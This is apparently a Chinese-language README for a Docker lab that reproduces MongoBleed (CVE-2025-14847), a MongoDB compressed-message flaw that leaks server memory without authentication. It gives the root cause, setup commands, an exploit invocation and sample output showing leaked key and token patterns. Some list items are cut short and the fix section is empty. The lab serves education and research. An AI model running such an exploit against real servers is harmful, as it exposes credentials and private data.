本实验室旨在复现并分析 MongoBleed(CVE-2025-14847),这是 MongoDB 中的一个严重漏洞。由于不当处理压缩消息,该缺陷允许未经身份验证的攻击者从服务器内存中读取敏感数据。
该环境包含一个存在漏洞的 MongoDB 实例,并填充了模拟的敏感数据(PII、API 密钥、财务记录),以演示信息泄露的严重性。
CVE ID: CVE-2025-14847
名称: MongoBleed
组件: Wire Protocol (OP_COMPRESSED)
受影响版本: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (及其他)
URL: 点击查看 -> NVD CVE-2025-14847
该漏洞存在于 MongoDB 使用 zlib 压缩算法处理 OP_COMPRESSED 消息的方式中。
uncompressed_size 字段被有意设置为远大于实际解压后数据大小的值。uncompressed_size 分配一个内存缓冲区。zlib 解压器将实际(较小)的有效载荷写入该缓冲区的起始部分。缓冲区的其余部分保持未初始化状态,包含之前操作残留的数据(RAM 痕迹)。本实验室由以下部分组成:
admin / secretpassword)。init-mongo.js),用于填充 3 个不同的数据库,以模拟真实的云基础设施 SaaS 环境:
compute_instances:敏感的元数据(用户数据脚本、API 密钥)。deployment_secrets:高价值目标(K8s 令牌、CI/CD 密钥、Slack Webhooks)。users:用户凭证、密码哈希(Argon2)和 MFA 备份码(以明文形式泄露)。query_logs:包含历史查询,有些包括泄露的凭证(例如 AWS 密钥)。exploit.py)。启动存在漏洞的容器。这将自动创建数据库并填充数据。
docker-compose up -d
等待大约 10-15 秒,让数据库初始化并加载数据。
注意: 如果您之前运行过本实验室,请确保重置卷以加载最新的数据结构:
docker-compose down -v
docker-compose up -d
您可以使用 pip 通过传统的 requirements.txt 或现代的 pyproject.toml 安装所需的依赖项。
选项 A:使用 requirements.txt(标准)
pip install -r requirements.txt
选项 B:使用 pyproject.toml(现代) 这将在当前环境中安装项目及其依赖项。
pip install .
我们提供了一个验证脚本来确保数据库可达且数据已正确填充。
python verify_lab.py
该脚本使用管理员凭证检查数据库(如 sensitive_db、legacy_crm 等)是否存在。
执行 Python 脚本来攻击服务器。此步骤不需要任何凭证,演示了该漏洞的未经身份验证特性。
python exploit.py --host localhost --port 27017 --min 100 --max 5000
该脚本执行以下步骤:
OP_COMPRESSED 头部中。预期输出: 您应该会看到输出指示在不同偏移处发现了泄露,随后是一个检测到的秘密摘要。
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
要在生产环境中修复此漏洞:
本项目采用 MIT 许可证授权。详情请参阅 LICENSE 文件。
本材料仅供教育和研究目的使用。请勿在您不拥有或未经明确许可测试的系统上使用此漏洞利用程序。作者不对任何滥用此信息或工具的行为负责。
Joseph Meneses (ElJoamy)
后端与 AI 开发者 · 网络安全工程师 · DBA · 渗透测试员